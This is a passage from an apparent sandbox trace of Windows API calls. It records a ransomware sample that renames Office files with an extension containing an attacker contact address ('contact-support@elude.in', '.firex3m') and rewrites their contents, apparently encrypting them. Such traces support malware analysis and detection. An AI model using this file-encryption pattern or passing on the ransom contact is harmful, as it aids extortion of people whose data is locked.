lpNewFilePointer=0x0) returned 1 [0166.545] WriteFile (in: hFile=0x6f8, lpBuffer=0x711861f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x711861f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.545] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.545] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.545] CloseHandle (hObject=0x6f8) returned 1 [0166.545] GetProcessHeap () returned 0x630000 [0166.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710d220 | out: hHeap=0x630000) returned 1 [0166.546] GetProcessHeap () returned 0x630000 [0166.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705db00 | out: hHeap=0x630000) returned 1 [0166.547] GetProcessHeap () returned 0x630000 [0166.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0166.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x29383842, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x18192, dwReserved0=0xcd87496, dwReserved1=0x705daf8, cFileName="hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIVEXS~1.FIR")) returned 0x6d4ec0 [0166.548] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0166.548] Sleep (dwMilliseconds=0x1) [0167.150] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap", len=0x65 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap") returned 1 [0167.150] GetProcessHeap () returned 0x630000 [0167.150] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b84) returned 0x707d3d0 [0167.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\powerviewres.pt.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0167.151] CloseHandle (hObject=0x4c8) returned 1 [0167.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\powerviewres.pt.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\powerviewres.pt.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15bbd5ad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15cc8628, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f281, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.pt.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5000 [0167.152] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0167.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\pt\\powerviewres.pt.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0167.153] GetProcessHeap () returned 0x630000 [0167.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x709a838 [0167.153] GetProcessHeap () returned 0x630000 [0167.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0167.153] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.153] ReadFile (in: hFile=0x4c8, lpBuffer=0x709a838, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709a838*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.106] GetProcessHeap () returned 0x630000 [0173.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71768e0 [0173.107] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.107] WriteFile (in: hFile=0x4c8, lpBuffer=0x7247db0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.108] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.108] WriteFile (in: hFile=0x4c8, lpBuffer=0x72531af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531af*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0175.559] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.559] WriteFile (in: hFile=0x4c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0175.559] CloseHandle (hObject=0x4c8) returned 1 [0175.560] GetProcessHeap () returned 0x630000 [0175.560] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0176.978] GetProcessHeap () returned 0x630000 [0176.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709a838 | out: hHeap=0x630000) returned 1 [0176.978] GetProcessHeap () returned 0x630000 [0176.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0177.047] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\PowerViewRes.pt.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15bbd5ad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e97ffe7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f2a5, dwReserved0=0xcd87496, dwReserved1=0x709a830, cFileName="PowerViewRes.pt.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0177.047] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.047] Sleep (dwMilliseconds=0x1) [0177.066] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL", len=0x3f | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL") returned 1 [0177.066] GetProcessHeap () returned 0x630000 [0177.066] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b08) returned 0x707d3d0 [0177.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0177.160] CloseHandle (hObject=0x620) returned 1 [0177.160] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.161] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x364ddb2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x364ddb2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x364ddb2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x12e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISWEB~1.FIR")) returned 0x6d5400 [0177.161] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0177.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0177.161] GetProcessHeap () returned 0x630000 [0177.161] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7098e48 [0177.162] GetProcessHeap () returned 0x630000 [0177.162] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7118650 [0177.162] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.162] ReadFile (in: hFile=0x620, lpBuffer=0x7098e48, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7098e48*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.351] GetProcessHeap () returned 0x630000 [0185.352] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0185.352] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.352] WriteFile (in: hFile=0x620, lpBuffer=0x7118650*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7118650*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.353] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.353] WriteFile (in: hFile=0x620, lpBuffer=0x7123a4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7123a4f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.353] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.353] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.353] CloseHandle (hObject=0x620) returned 1 [0185.353] GetProcessHeap () returned 0x630000 [0185.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7118650 | out: hHeap=0x630000) returned 1 [0185.354] GetProcessHeap () returned 0x630000 [0185.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7098e48 | out: hHeap=0x630000) returned 1 [0185.354] GetProcessHeap () returned 0x630000 [0185.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0185.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x364ddb2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x364ddb2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x346c5ff6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12e8c, dwReserved0=0xcd87496, dwReserved1=0x778915ca, cFileName="VISWEB.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISWEB~1.FIR")) returned 0x6d53c0 [0185.355] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0185.355] Sleep (dwMilliseconds=0x1) [0187.356] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", len=0x4d | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx") returned 1 [0187.356] GetProcessHeap () returned 0x630000 [0187.356] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29b8) returned 0x707d3d0 [0187.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0187.357] CloseHandle (hObject=0x6e4) returned 1 [0187.357] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f43, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="Default.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEFAUL~1.FIR")) returned 0x6d4e00 [0187.359] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0187.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0187.359] GetProcessHeap () returned 0x630000 [0187.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x733a068 [0187.359] GetProcessHeap () returned 0x630000 [0187.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x7453500 [0187.359] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.359] ReadFile (in: hFile=0x6e4, lpBuffer=0x733a068, nNumberOfBytesToRead=0x2f40, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733a068*, lpNumberOfBytesRead=0x3f7ff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0189.285] GetProcessHeap () returned 0x630000 [0189.285] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0189.286] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.286] WriteFile (in: hFile=0x6e4, lpBuffer=0x7453500*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453500*, lpNumberOfBytesWritten=0x3f7ff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0189.286] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.286] WriteFile (in: hFile=0x6e4, lpBuffer=0x745643f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745643f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.286] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.286] WriteFile (in: hFile=0x6e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.286] CloseHandle (hObject=0x6e4) returned 1 [0189.287] GetProcessHeap () returned 0x630000 [0189.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453500 | out: hHeap=0x630000) returned 1 [0189.287] GetProcessHeap () returned 0x630000 [0189.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733a068 | out: hHeap=0x630000) returned 1 [0189.287] GetProcessHeap () returned 0x630000 [0189.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0189.287] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.287] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c4cf0e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f67, dwReserved0=0xcd87496, dwReserved1=0x733a060, cFileName="Default.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEFAUL~1.FIR")) returned 0x6d5400 [0189.288] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0189.288] Sleep (dwMilliseconds=0x1) [0191.616] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE", len=0x3c | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE") returned 1 [0191.616] GetProcessHeap () returned 0x630000 [0191.616] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45e4) returned 0x74656a8 [0191.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0191.618] CloseHandle (hObject=0x704) returned 1 [0191.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.619] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1bcd2cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71060, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPREVIEW.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VPREVI~1.FIR")) returned 0x6d5280 [0191.619] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0191.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VPREVIEW.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vpreview.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0191.619] GetProcessHeap () returned 0x630000 [0191.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7377158 [0191.619] GetProcessHeap () returned 0x630000 [0191.619] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7382588 [0191.619] SetFilePointerEx 